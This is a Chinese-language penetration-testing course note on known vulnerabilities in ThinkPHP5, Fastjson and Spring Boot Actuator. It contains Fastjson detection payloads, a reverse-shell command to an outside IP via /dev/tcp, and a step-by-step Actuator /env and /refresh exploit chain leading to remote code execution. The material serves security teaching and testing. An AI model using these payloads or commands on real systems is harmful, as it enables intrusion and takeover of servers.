常见框架、组件漏洞

本文内容来自蚁景网安课程

ThinkPHP5漏洞

ThinkPHP

ThinkPHP是一个快速、兼容且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持Windows、Unix、Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySQL、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

应用

很多CMS(内容管理系统)就是基于ThinkPHP5二次开发的,所以出现漏洞会影响很多基于ThinkPHP开发的网站。

框架特征

image-20220312214840271

历史漏洞

ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

ThinkPHP3.2.3_最新版update注入漏洞

ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell

ThinkPHP3.2.X_find_select_delete注入

ThinkPHP框架5.0.X_sql注入漏洞

ThinkPHP3.X_order_by注入漏洞

ThinkPHP5.X_order_by注入漏洞

ThinkPHP5.X_远程代码执行

漏洞检测

TPscan(Python3)

image-20220312215712525

漏洞利用

ThinkphpRCE(Python3)

image-20220312220031120

Fastjson漏洞

介绍

Fastjson是阿里巴巴开源的一款json解析器,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

json数据

json格式

1
2
3
4
5
{
    "name":"smith",
    "age":28,
    "sex":"男"
}

有回显识别

通过不完整的花括号得到报错。

POST内容

1
{"

无回显识别

1
2
3
4
5
6
7
8
{"name":{"@type":"java.net.Inet4Address","val":"dnslog"}} --无回显首选
{"name":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"name":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"name":{"@type":"java.net.URL","val":"dnslog"}}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

利用

fastjson_rce_tool

示例

java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命令“
bash -c {echo, bash -i >& /dev/tcp/139.9.198.30/1234 0>&1}|{base64,-d}|{bash,-i}

如果是反弹shell的命令,需要对其编码。因为管道符、输入输出重定向只有在bash环境下才能用,而在这里使用的是Java提供的命令执行环境,不支持管道符、输入输出重定向等,因此需要base64编码一下。

SpringBoot Actuator漏洞

介绍

Spring Boot是Pivotal团队在Spring的基础上提供的一套全新的开源框架,其目的是为了简化Spring应用的搭建和开发过程。

Actuator是SpringBoot自带监控功能Actuator,可以帮助实现程序内部运行情况监控,比如监控状况、Bean加载情况、环境变量、日志信息、线程信息等。

网站特征

Whitelabel Error Page

常见端点

名称 作用
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/configprops 描述配置属性(包含默认值)如何注入Bean
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/dump 获取线程活动的快照
/env 获取全部环境属性
/env/(name) 根据名称获取特定的环境属性值
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求基数
/metrics/(name) 报告指定名称的应用程序度量值
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true(默认为false)
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

实际案例

1.x版本:http://ip:port/env

2.x版本:http://ip:port/actuator/env

批量扫描

SB-Actuator

未授权到RCE

XStream反序列化导致的命令执行漏洞,前提条件:

可以POST请求目标网站的/env接口设置属性

可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)

目标使用的eureka-client<1.8.7(通常包含在spring-cloud-starter-etflix-eureka-client依赖中)

目标可以请求攻击者的HTTP服务器(请求可出外网)

利用

步骤一:架设响应恶意XStream Payload的网站。

exploit.py关键代码

1
<string>curl http://example.com</string>
1
2
if __name__=="__main__":
    app.run(host='0.0.0.0', port=8080)

执行

python3 exploit.py

步骤二:设置eureka.client.serviceUrl.defaultZone属性。

1.x版本

POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://139.9.198.30:1234

2.x版本

POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":" 139.9.198.30:1234 "}

步骤三:刷新配置

1.x版本

POST /refresh
Content-Type: application/x-www-form-urlencoded

2.x版本

POST /actuator/refresh
Content-Type: application/json

更多

SpringBootVullExploit